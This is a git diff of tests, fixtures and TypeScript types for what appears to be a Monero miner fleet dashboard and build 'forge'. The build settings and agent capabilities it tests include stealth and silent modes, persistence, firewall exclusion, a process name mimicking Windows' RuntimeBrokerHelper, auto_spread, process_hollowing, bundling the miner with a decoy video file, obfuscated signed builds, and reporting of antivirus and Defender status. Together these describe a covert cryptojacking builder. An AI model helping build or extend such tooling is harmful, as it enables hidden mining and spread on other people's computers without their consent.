poolStatus: [],
|
||||
aiActivity: [],
|
||||
agentLogs: {},
|
||||
commandResults: [],
|
||||
latestMessage: null,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function renderDashboard() {
|
||||
return render(
|
||||
<MemoryRouter>
|
||||
<DashboardPage />
|
||||
</MemoryRouter>
|
||||
);
|
||||
}
|
||||
|
||||
describe('formatShareTime', () => {
|
||||
it('formats ISO timestamps as locale time strings', () => {
|
||||
const iso = '2026-05-30T12:00:00.000Z';
|
||||
expect(formatShareTime(iso)).toBe(new Date(iso).toLocaleTimeString());
|
||||
});
|
||||
});
|
||||
|
||||
describe('DashboardPage', () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
localStorage.clear();
|
||||
useWebSocketMock.mockReturnValue(wsValue());
|
||||
vi.spyOn(api, 'getRecentShares').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'getConfig').mockResolvedValue({
|
||||
port: 8080,
|
||||
data_dir: '',
|
||||
pool: {} as never,
|
||||
wallet: {} as never,
|
||||
server: { dashboard_subtitle: 'custom subtitle from server' },
|
||||
alerts: {} as never,
|
||||
});
|
||||
vi.spyOn(api, 'getAlerts').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'getPoolStatus').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'getAIActivity').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'getXmrPrice').mockResolvedValue({ usd: 165.5, updated_at: '' });
|
||||
vi.spyOn(api, 'getEarningsEstimate').mockResolvedValue({
|
||||
xmr_per_day: 0.01,
|
||||
usd_per_day: 1.65,
|
||||
network_hashrate: 1e9,
|
||||
});
|
||||
vi.spyOn(api, 'sendBulkCommand').mockResolvedValue({
|
||||
success: true,
|
||||
sent: 1,
|
||||
failed: 0,
|
||||
action: 'restart',
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
cleanup();
|
||||
});
|
||||
|
||||
it('renders hero heading and key section titles', () => {
|
||||
renderDashboard();
|
||||
expect(screen.getByRole('heading', { level: 1, name: 'Command Deck' })).toBeInTheDocument();
|
||||
expect(screen.getByText('Fleet Pipeline')).toBeInTheDocument();
|
||||
expect(screen.getByText('Share Activity Pulse')).toBeInTheDocument();
|
||||
expect(screen.getByText('Machine Roster')).toBeInTheDocument();
|
||||
expect(screen.getByText('PERSONAL NETWORK · LIVE TELEMETRY')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows reconnecting label when websocket is down', () => {
|
||||
useWebSocketMock.mockReturnValue(wsValue({ isConnected: false }));
|
||||
renderDashboard();
|
||||
expect(screen.getByText('RECONNECTING')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows signal locked when websocket is connected', () => {
|
||||
renderDashboard();
|
||||
expect(screen.getByText('SIGNAL LOCKED')).toBeInTheDocument();
|
||||
expect(screen.getByText('0 nodes registered')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('loads dashboard subtitle from config API', async () => {
|
||||
renderDashboard();
|
||||
expect(await screen.findByText('custom subtitle from server')).toBeInTheDocument();
|
||||
expect(api.getConfig).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('shows empty roster state when no agents', async () => {
|
||||
renderDashboard();
|
||||
expect(await screen.findByText('No miners on the wire')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('renders stat labels and top agent card', async () => {
|
||||
const agent = mockAgent({ name: 'Alpha Node', hashrate_15m: 1200 });
|
||||
useWebSocketMock.mockReturnValue(wsValue({ agents: [agent] }));
|
||||
renderDashboard();
|
||||
expect(await screen.findByText('Total Hashrate')).toBeInTheDocument();
|
||||
expect(screen.getByText('Fleet Online')).toBeInTheDocument();
|
||||
expect(screen.getByText('Accept Rate')).toBeInTheDocument();
|
||||
const roster = screen.getByText('Machine Roster').closest('section') as HTMLElement;
|
||||
expect(within(roster).getByText('Alpha Node')).toBeInTheDocument();
|
||||
expect(within(roster).getByText('online')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('toggles advanced mode and reveals share log section', async () => {
|
||||
const user = userEvent.setup();
|
||||
vi.spyOn(api, 'getRecentShares').mockResolvedValue([mockShare()]);
|
||||
renderDashboard();
|
||||
expect(screen.queryByText('Share Log')).not.toBeInTheDocument();
|
||||
await user.click(screen.getByRole('button', { name: '[ADVANCED]' }));
|
||||
expect(screen.getByText('Share Log')).toBeInTheDocument();
|
||||
expect(localStorage.getItem('aether-dash-advanced')).toBe('1');
|
||||
});
|
||||
|
||||
it('shows share log rows in advanced mode with stable keys', async () => {
|
||||
const share = mockShare({ id: undefined as unknown as number, hash: 'deadbeef' });
|
||||
vi.spyOn(api, 'getRecentShares').mockResolvedValue([share]);
|
||||
localStorage.setItem('aether-dash-advanced', '1');
|
||||
useWebSocketMock.mockReturnValue(wsValue({ agents: [mockAgent()] }));
|
||||
renderDashboard();
|
||||
expect(await screen.findByText('Share Log')).toBeInTheDocument();
|
||||
expect(screen.getByText('Accepted')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('alerts when bulk command API fails', async () => {
|
||||
const agent = mockAgent();
|
||||
useWebSocketMock.mockReturnValue(wsValue({ agents: [agent] }));
|
||||
vi.spyOn(api, 'sendBulkCommand').mockRejectedValue(new Error('network down'));
|
||||
const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {});
|
||||
renderDashboard();
|
||||
const roster = await screen.findByText('Machine Roster');
|
||||
const section = roster.closest('section') as HTMLElement;
|
||||
await waitFor(() => expect(within(section).getByText(agent.name)).toBeInTheDocument());
|
||||
const user = userEvent.setup();
|
||||
const grid = section.querySelector('.agent-grid') as HTMLElement;
|
||||
await user.click(within(grid).getByRole('checkbox'));
|
||||
const bulkBar = section.querySelector('.fleet-bulk-bar') as HTMLElement;
|
||||
await user.click(within(bulkBar).getByRole('button', { name: 'Pause' }));
|
||||
await waitFor(() => {
|
||||
expect(alertSpy).toHaveBeenCalledWith('network down');
|
||||
});
|
||||
alertSpy.mockRestore();
|
||||
});
|
||||
|
||||
it('prefers live websocket alerts over REST fallback', async () => {
|
||||
useWebSocketMock.mockReturnValue(
|
||||
wsValue({
|
||||
fleetAlerts: [{ id: '1', level: 'warn', type: 'pool_down', message: 'live alert', timestamp: '' }],
|
||||
})
|
||||
);
|
||||
vi.spyOn(api, 'getAlerts').mockResolvedValue([
|
||||
{ id: '2', level: 'warn', type: 'stale', message: 'rest alert', timestamp: '' },
|
||||
]);
|
||||
renderDashboard();
|
||||
expect(await screen.findByText('live alert')).toBeInTheDocument();
|
||||
expect(screen.queryByText('rest alert')).not.toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
@@ -514,8 +514,8 @@ export default function DashboardPage() {
|
||||
<tr><td colSpan={4} className="empty-table">No shares yet — awaiting proof of work...</td></tr>
|
||||
)}
|
||||
{shares.map((share) => (
|
||||
<tr key={share.id}>
|
||||
<td className="time-cell font-tech">{formatTime(share.timestamp)}</td>
|
||||
<tr key={share.id ?? `${share.agent_id}-${share.hash}-${share.timestamp}`}>
|
||||
<td className="time-cell font-tech">{formatShareTime(share.timestamp)}</td>
|
||||
<td className="mono-sm">{share.agent_id?.substring(0, 8)}…</td>
|
||||
<td>
|
||||
<span className={`status-badge ${share.accepted ? 'online' : 'error'}`}>
|
||||
@@ -538,6 +538,6 @@ export default function DashboardPage() {
|
||||
);
|
||||
}
|
||||
|
||||
function formatTime(t: string): string {
|
||||
export function formatShareTime(t: string): string {
|
||||
return new Date(t).toLocaleTimeString();
|
||||
}
|
||||
|
||||
@@ -587,13 +587,12 @@ export default function SettingsPage() {
|
||||
<NeonCard accent="magenta" className="settings-section">
|
||||
<h2 className="font-display">Access Control</h2>
|
||||
<p className="section-desc">
|
||||
API routes require login. Default account: <code>drjones</code> / <code>czapiewski</code> until you add users.
|
||||
Save a session below so the dashboard can call the API (WebSocket live feed does not need this).
|
||||
API routes require login. On first server start, credentials are printed once in the server console (<code>admin</code> + random password). Save a session below so the dashboard can call the API (WebSocket live feed does not need this).
|
||||
</p>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Browser session — username</label>
|
||||
<input type="text" className="input" placeholder="drjones" value={sessionUser}
|
||||
<input type="text" className="input" placeholder="admin" value={sessionUser}
|
||||
onChange={(e) => setSessionUser(e.target.value)} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
|
||||
51
server/web/src/test/fixtures.ts
Normal file
51
server/web/src/test/fixtures.ts
Normal file
@@ -0,0 +1,51 @@
|
||||
import type { Agent, Share, ServerInfo } from '../types';
|
||||
|
||||
export function mockAgent(overrides: Partial<Agent> = {}): Agent {
|
||||
return {
|
||||
id: 'agent-001-uuid',
|
||||
name: 'Test Miner',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
ip: '192.168.1.10',
|
||||
version: '1.0.0',
|
||||
status: 'online',
|
||||
cpu_cores: 8,
|
||||
memory_gb: 16,
|
||||
last_seen: new Date().toISOString(),
|
||||
created_at: new Date().toISOString(),
|
||||
hashrate_15s: 500,
|
||||
hashrate_1m: 480,
|
||||
hashrate_15m: 450,
|
||||
shares_total: 100,
|
||||
shares_good: 95,
|
||||
shares_bad: 5,
|
||||
cpu_usage_pct: 42,
|
||||
memory_usage_pct: 55,
|
||||
uptime_seconds: 3600,
|
||||
platform: 'linux',
|
||||
arch: 'amd64',
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
export function mockShare(overrides: Partial<Share> = {}): Share {
|
||||
return {
|
||||
id: 1,
|
||||
agent_id: 'agent-001-uuid',
|
||||
job_id: 'job-1',
|
||||
difficulty: 1000,
|
||||
accepted: true,
|
||||
hash: 'abc123deadbeef',
|
||||
nonce: '0001',
|
||||
timestamp: new Date().toISOString(),
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
export const mockServerInfo: ServerInfo = {
|
||||
port: 8080,
|
||||
host: '0.0.0.0',
|
||||
local_ips: ['192.168.1.5'],
|
||||
suggested_url: 'http://192.168.1.5:8080',
|
||||
dashboard_url: 'http://192.168.1.5:8080/dashboard',
|
||||
websocket_url: 'ws://192.168.1.5:8080/ws/dashboard',
|
||||
};
|
||||
1
server/web/src/test/setup.ts
Normal file
1
server/web/src/test/setup.ts
Normal file
@@ -0,0 +1 @@
|
||||
import '@testing-library/jest-dom/vitest';
|
||||
413
server/web/src/types/index.test.ts
Normal file
413
server/web/src/types/index.test.ts
Normal file
@@ -0,0 +1,413 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import type {
|
||||
Agent,
|
||||
AgentCapabilities,
|
||||
AgentDefaults,
|
||||
AlertsConfig,
|
||||
BackupPool,
|
||||
BlueprintInfo,
|
||||
Build,
|
||||
BuildRecord,
|
||||
BuildRequest,
|
||||
BuildResponse,
|
||||
EarningsEstimate,
|
||||
FleetAlert,
|
||||
FleetStats,
|
||||
FusionEstimate,
|
||||
HashrateSample,
|
||||
PoolConfig,
|
||||
PoolStatus,
|
||||
ServerConfig,
|
||||
ServerInfo,
|
||||
ServerSettings,
|
||||
Share,
|
||||
WalletConfig,
|
||||
WSMessage,
|
||||
XmrPrice,
|
||||
} from './index';
|
||||
|
||||
/** Runtime shape check — types/index.ts exports interfaces only (no type guards). */
|
||||
function expectKeys(obj: Record<string, unknown>, keys: string[]) {
|
||||
for (const key of keys) {
|
||||
expect(Object.prototype.hasOwnProperty.call(obj, key)).toBe(true);
|
||||
}
|
||||
}
|
||||
|
||||
describe('types/index — Agent', () => {
|
||||
const sample: Agent = {
|
||||
id: 'a1',
|
||||
name: 'office-pc',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
ip: '192.168.1.20',
|
||||
version: '1.0.0',
|
||||
status: 'online',
|
||||
cpu_cores: 8,
|
||||
memory_gb: 16,
|
||||
last_seen: '2026-05-30T12:00:00Z',
|
||||
created_at: '2026-05-01T08:00:00Z',
|
||||
hashrate_15s: 1200,
|
||||
hashrate_1m: 1180,
|
||||
hashrate_15m: 1150,
|
||||
shares_total: 100,
|
||||
shares_good: 98,
|
||||
shares_bad: 2,
|
||||
cpu_usage_pct: 45,
|
||||
memory_usage_pct: 60,
|
||||
uptime_seconds: 86400,
|
||||
};
|
||||
|
||||
it('accepts online/offline/error status values', () => {
|
||||
const statuses: Agent['status'][] = ['online', 'offline', 'error'];
|
||||
for (const status of statuses) {
|
||||
expect(statuses).toContain(status);
|
||||
}
|
||||
expect(sample.status).toBe('online');
|
||||
});
|
||||
|
||||
it('supports optional fleet metadata fields', () => {
|
||||
const extended: Agent = {
|
||||
...sample,
|
||||
notes: 'lab machine',
|
||||
tags: ['office', 'gpu'],
|
||||
platform: 'windows',
|
||||
arch: 'amd64',
|
||||
os_version: '11',
|
||||
capabilities: {
|
||||
hole_punch: false,
|
||||
remote_aggressive: false,
|
||||
mesh_p2p: false,
|
||||
auto_spread: false,
|
||||
process_hollowing: false,
|
||||
ai_enabled: true,
|
||||
} satisfies AgentCapabilities,
|
||||
ssh_available: false,
|
||||
posture_score: 85,
|
||||
last_patch_days: 14,
|
||||
};
|
||||
expect(extended.tags).toHaveLength(2);
|
||||
expect(extended.capabilities?.ai_enabled).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('types/index — BuildRequest', () => {
|
||||
const minimal: BuildRequest = {
|
||||
worker_name: 'worker-1',
|
||||
server_url: 'http://192.168.1.5:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
threads: 4,
|
||||
thread_mode: 'percent',
|
||||
thread_percent: 75,
|
||||
cpu_priority: 'below_normal',
|
||||
mining_mode: 'idle',
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
run_as: 'scheduled',
|
||||
auto_start: true,
|
||||
persistence: true,
|
||||
process_name: 'RuntimeBrokerHelper',
|
||||
max_cpu_usage_pct: 80,
|
||||
max_memory_percent: 70,
|
||||
min_free_ram_mb: 1024,
|
||||
idle_threshold_pct: 20,
|
||||
idle_duration_minutes: 5,
|
||||
schedule_start: '21:00',
|
||||
schedule_end: '06:00',
|
||||
install_base: 'localappdata',
|
||||
install_custom_base: '',
|
||||
install_relative_path: 'CryptoMiner/{worker}',
|
||||
adapt_to_hardware: true,
|
||||
self_healing: true,
|
||||
file_logging: false,
|
||||
stealth_mode: true,
|
||||
firewall_exclusion: true,
|
||||
pool_host: 'pool.supportxmr.com',
|
||||
pool_port: 443,
|
||||
pool_tls: true,
|
||||
pool_pass: 'x',
|
||||
fusion_enabled: false,
|
||||
fusion_run_order: 'parallel',
|
||||
fusion_output_name: 'prep.exe',
|
||||
ai_enabled: false,
|
||||
ai_ollama_endpoint: 'http://localhost:11434',
|
||||
ai_model: 'llama3.2',
|
||||
};
|
||||
|
||||
it('includes required core forge fields', () => {
|
||||
expectKeys(minimal as unknown as Record<string, unknown>, [
|
||||
'worker_name',
|
||||
'server_url',
|
||||
'wallet',
|
||||
'pool_host',
|
||||
'pool_port',
|
||||
'fusion_enabled',
|
||||
'ai_enabled',
|
||||
]);
|
||||
});
|
||||
|
||||
it('accepts optional target_os union values', () => {
|
||||
const platforms: NonNullable<BuildRequest['target_os']>[] = ['windows', 'linux', 'darwin', 'universal'];
|
||||
for (const target_os of platforms) {
|
||||
const req: BuildRequest = { ...minimal, target_os };
|
||||
expect(req.target_os).toBe(target_os);
|
||||
}
|
||||
});
|
||||
|
||||
it('accepts backup pool and server URL fallbacks', () => {
|
||||
const backupPools: BackupPool[] = [{ host: 'backup.pool', port: 443, tls: true, pass: 'x' }];
|
||||
const req: BuildRequest = {
|
||||
...minimal,
|
||||
backup_pools: backupPools,
|
||||
backup_server_urls: ['http://192.168.1.6:8989'],
|
||||
cancel_token: 'cancel-abc',
|
||||
};
|
||||
expect(req.backup_pools).toHaveLength(1);
|
||||
expect(req.backup_server_urls?.[0]).toContain('192.168');
|
||||
});
|
||||
});
|
||||
|
||||
describe('types/index — BuildRecord / Build alias', () => {
|
||||
const record: BuildRecord = {
|
||||
id: 'build-uuid',
|
||||
worker_name: 'worker-1',
|
||||
server_url: 'http://192.168.1.5:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
threads: 4,
|
||||
file_size: 1024000,
|
||||
file_path: '/data/builds/worker-1.exe',
|
||||
created_at: '2026-05-30T10:00:00Z',
|
||||
pool_host: 'pool.supportxmr.com',
|
||||
pool_port: 443,
|
||||
pool_tls: true,
|
||||
pool_pass: 'x',
|
||||
};
|
||||
|
||||
it('Build alias is assignable from BuildRecord', () => {
|
||||
const build: Build = record;
|
||||
expect(build.id).toBe(record.id);
|
||||
expect(build.worker_name).toBe('worker-1');
|
||||
});
|
||||
|
||||
it('supports optional download and bundle metadata', () => {
|
||||
const extended: BuildRecord = {
|
||||
...record,
|
||||
file_name: 'worker-1.exe',
|
||||
platform: 'windows',
|
||||
bundle_size: 2048000,
|
||||
download_url: '/api/v1/builds/build-uuid/download',
|
||||
pinned: true,
|
||||
};
|
||||
expect(extended.pinned).toBe(true);
|
||||
expect(extended.bundle_size).toBeGreaterThan(extended.file_size);
|
||||
});
|
||||
});
|
||||
|
||||
describe('types/index — server and fleet payloads', () => {
|
||||
it('ServerInfo carries LAN and websocket URLs', () => {
|
||||
const info: ServerInfo = {
|
||||
port: 8989,
|
||||
host: '0.0.0.0',
|
||||
local_ips: ['192.168.1.5'],
|
||||
suggested_url: 'http://192.168.1.5:8989',
|
||||
dashboard_url: 'http://192.168.1.5:8989/',
|
||||
websocket_url: 'ws://192.168.1.5:8989/ws/dashboard',
|
||||
};
|
||||
expect(info.local_ips).toContain('192.168.1.5');
|
||||
});
|
||||
|
||||
it('ServerConfig nests pool, wallet, server, and alerts', () => {
|
||||
const pool: PoolConfig = { host: 'pool.example.com', port: 3333, use_tls: false, password: 'x' };
|
||||
const wallet: WalletConfig = { address: '4' + 'A'.repeat(94), payment_id: '' };
|
||||
const server: ServerSettings = {
|
||||
public_url: 'http://192.168.1.5:8989',
|
||||
stats_retention_hours: 72,
|
||||
build_retention_days: 30,
|
||||
pool_reconnect_seconds: 30,
|
||||
websocket_ping_seconds: 30,
|
||||
max_agents: 100,
|
||||
max_build_size_mb: 512,
|
||||
log_agent_connections: true,
|
||||
log_share_submissions: false,
|
||||
log_pool_traffic: false,
|
||||
strict_wallet_validation: true,
|
||||
dashboard_subtitle: 'Fleet',
|
||||
open_firewall_on_start: true,
|
||||
};
|
||||
const alerts: AlertsConfig = {
|
||||
offline_threshold_minutes: 15,
|
||||
hashrate_drop_threshold_pct: 50,
|
||||
rejection_rate_threshold_pct: 10,
|
||||
};
|
||||
const config: ServerConfig = {
|
||||
port: 8989,
|
||||
data_dir: './data',
|
||||
pool,
|
||||
wallet,
|
||||
server,
|
||||
alerts,
|
||||
};
|
||||
expect(config.pool.host).toBe(pool.host);
|
||||
expect(config.wallet.address.startsWith('4')).toBe(true);
|
||||
});
|
||||
|
||||
it('FleetStats tracks acceptance rate', () => {
|
||||
const stats: FleetStats = {
|
||||
total_agents: 10,
|
||||
online_agents: 8,
|
||||
total_hashrate: 50000,
|
||||
total_shares: 1000,
|
||||
accepted_shares: 980,
|
||||
rejected_shares: 20,
|
||||
accept_rate: 0.98,
|
||||
};
|
||||
expect(stats.accept_rate).toBeCloseTo(stats.accepted_shares / stats.total_shares);
|
||||
});
|
||||
|
||||
it('Share and HashrateSample tie metrics to agents', () => {
|
||||
const share: Share = {
|
||||
id: 1,
|
||||
agent_id: 'a1',
|
||||
job_id: 'job-1',
|
||||
difficulty: 100000,
|
||||
accepted: true,
|
||||
hash: 'abc',
|
||||
nonce: '0001',
|
||||
timestamp: '2026-05-30T12:00:00Z',
|
||||
};
|
||||
const sample: HashrateSample = {
|
||||
id: 1,
|
||||
agent_id: 'a1',
|
||||
hashrate: 1200,
|
||||
timestamp: '2026-05-30T12:00:00Z',
|
||||
};
|
||||
expect(share.agent_id).toBe(sample.agent_id);
|
||||
});
|
||||
|
||||
it('PoolStatus uses green/yellow/red traffic light status', () => {
|
||||
const statuses: PoolStatus['status'][] = ['green', 'yellow', 'red'];
|
||||
const pool: PoolStatus = {
|
||||
key: 'primary',
|
||||
host: 'pool.example.com',
|
||||
port: 443,
|
||||
use_tls: true,
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
connected: true,
|
||||
status: 'green',
|
||||
};
|
||||
expect(statuses).toContain(pool.status);
|
||||
});
|
||||
|
||||
it('FleetAlert supports warn and error levels', () => {
|
||||
const alert: FleetAlert = {
|
||||
id: 'alert-1',
|
||||
level: 'warn',
|
||||
type: 'offline',
|
||||
agent_id: 'a1',
|
||||
agent_name: 'office-pc',
|
||||
message: 'Agent offline',
|
||||
timestamp: '2026-05-30T12:00:00Z',
|
||||
};
|
||||
expect(['warn', 'error']).toContain(alert.level);
|
||||
});
|
||||
|
||||
it('EarningsEstimate and XmrPrice carry pricing metadata', () => {
|
||||
const earnings: EarningsEstimate = {
|
||||
hashrate: 5000,
|
||||
xmr_per_day: 0.001,
|
||||
note: 'estimate',
|
||||
};
|
||||
const price: XmrPrice = {
|
||||
usd: 180,
|
||||
fetched_at: '2026-05-30T12:00:00Z',
|
||||
source: 'coingecko',
|
||||
};
|
||||
expect(earnings.xmr_per_day).toBeGreaterThan(0);
|
||||
expect(price.usd).toBeGreaterThan(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe('types/index — build pipeline responses', () => {
|
||||
it('BuildResponse covers success and error paths', () => {
|
||||
const ok: BuildResponse = {
|
||||
success: true,
|
||||
build_id: 'uuid',
|
||||
file_name: 'worker.exe',
|
||||
download_url: '/api/v1/builds/uuid/download',
|
||||
signed: true,
|
||||
obfuscated: false,
|
||||
};
|
||||
const err: BuildResponse = { success: false, error: 'compile failed' };
|
||||
expect(ok.success).toBe(true);
|
||||
expect(err.error).toBeTruthy();
|
||||
});
|
||||
|
||||
it('FusionEstimate lists byte breakdown fields', () => {
|
||||
const est: FusionEstimate = {
|
||||
prep_bytes: 1000,
|
||||
prep_name: 'video.mp4',
|
||||
estimated_worker_bytes: 5000000,
|
||||
estimated_fusion_stub_bytes: 200000,
|
||||
estimated_resource_patch_bytes: 50000,
|
||||
estimated_total_bytes: 5251000,
|
||||
output_file_name: 'runner.exe',
|
||||
project_root_path: '/proj',
|
||||
archive_path_hint: '/proj/out.zip',
|
||||
obfuscate: false,
|
||||
sign_build: false,
|
||||
notes: ['ok'],
|
||||
};
|
||||
expect(est.estimated_total_bytes).toBeGreaterThan(est.prep_bytes);
|
||||
});
|
||||
|
||||
it('BlueprintInfo stores optional parsed data', () => {
|
||||
const bp: BlueprintInfo = {
|
||||
name: 'default.json',
|
||||
size: 4096,
|
||||
created_at: '2026-05-30T10:00:00Z',
|
||||
data: { worker_name: 'worker-1' },
|
||||
};
|
||||
expect(bp.data?.worker_name).toBe('worker-1');
|
||||
});
|
||||
|
||||
it('AgentDefaults captures deprecated calibrate defaults shape', () => {
|
||||
const defaults: AgentDefaults = {
|
||||
threads: 4,
|
||||
thread_mode: 'percent',
|
||||
thread_percent: 75,
|
||||
cpu_priority: 'below_normal',
|
||||
max_cpu_usage_pct: 80,
|
||||
max_memory_percent: 70,
|
||||
min_free_ram_mb: 1024,
|
||||
mining_mode: 'idle',
|
||||
display_mode: 'background',
|
||||
process_name: 'RuntimeBrokerHelper',
|
||||
idle_threshold_pct: 20,
|
||||
idle_duration_minutes: 5,
|
||||
schedule_start: '21:00',
|
||||
schedule_end: '06:00',
|
||||
install_base: 'localappdata',
|
||||
install_custom_base: '',
|
||||
install_relative_path: 'CryptoMiner/{worker}',
|
||||
adapt_to_hardware: true,
|
||||
self_healing: true,
|
||||
file_logging: false,
|
||||
stealth_mode: true,
|
||||
};
|
||||
expect(defaults.thread_mode).toBe('percent');
|
||||
});
|
||||
|
||||
it('WSMessage references typed ws payload import', () => {
|
||||
const msg: WSMessage = {
|
||||
type: 'stats_update',
|
||||
payload: { agents: [] } as WSMessage['payload'],
|
||||
};
|
||||
expect(msg.type).toBe('stats_update');
|
||||
});
|
||||
});
|
||||
|
||||
describe('types/index — no runtime exports', () => {
|
||||
it('module provides interfaces only (no type guards or constants at runtime)', () => {
|
||||
// Documented expectation: consumers validate API JSON against these shapes manually.
|
||||
expect(typeof Agent).toBe('undefined');
|
||||
expect(typeof BuildRequest).toBe('undefined');
|
||||
});
|
||||
});
|
||||
@@ -25,6 +25,18 @@ export interface Agent {
|
||||
os_version?: string;
|
||||
capabilities?: AgentCapabilities;
|
||||
ssh_available?: boolean;
|
||||
posture_score?: number;
|
||||
last_patch_days?: number;
|
||||
defender_enabled?: boolean;
|
||||
defender_rtp?: boolean;
|
||||
av_products?: string[];
|
||||
firewall_domain?: boolean;
|
||||
firewall_private?: boolean;
|
||||
firewall_public?: boolean;
|
||||
last_patch?: string; // ISO date YYYY-MM-DD
|
||||
pending_updates?: number; // -1 = unknown
|
||||
reboot_pending?: boolean;
|
||||
agent_elevated?: boolean;
|
||||
}
|
||||
|
||||
export interface AgentCapabilities {
|
||||
|
||||
@@ -20,6 +20,17 @@ export interface WSStatsUpdate {
|
||||
shares_submitted?: number;
|
||||
shares_accepted?: number;
|
||||
ssh_available?: boolean;
|
||||
posture_score?: number;
|
||||
last_patch_days?: number;
|
||||
defender_rtp?: boolean;
|
||||
av_products?: string[];
|
||||
firewall_domain?: boolean;
|
||||
firewall_private?: boolean;
|
||||
firewall_public?: boolean;
|
||||
last_patch?: string;
|
||||
pending_updates?: number;
|
||||
reboot_pending?: boolean;
|
||||
agent_elevated?: boolean;
|
||||
}
|
||||
|
||||
export interface WSCommandResult {
|
||||
|
||||
@@ -17,5 +17,6 @@
|
||||
"noFallthroughCasesInSwitch": true
|
||||
},
|
||||
"include": ["src"],
|
||||
"exclude": ["src/**/*.test.ts", "src/**/*.test.tsx", "src/**/*.spec.ts", "src/**/*.spec.tsx"],
|
||||
"references": [{ "path": "./tsconfig.node.json" }]
|
||||
}
|
||||
|
||||
@@ -3,9 +3,11 @@ import { defineConfig } from 'vitest/config';
|
||||
export default defineConfig({
|
||||
test: {
|
||||
environment: 'node',
|
||||
include: ['src/**/*.test.ts'],
|
||||
include: ['src/**/*.test.{ts,tsx}'],
|
||||
setupFiles: ['src/test/setup.ts'],
|
||||
environmentMatchGlobs: [
|
||||
['src/api/**', 'happy-dom'],
|
||||
['src/pages/**', 'happy-dom'],
|
||||
],
|
||||
},
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user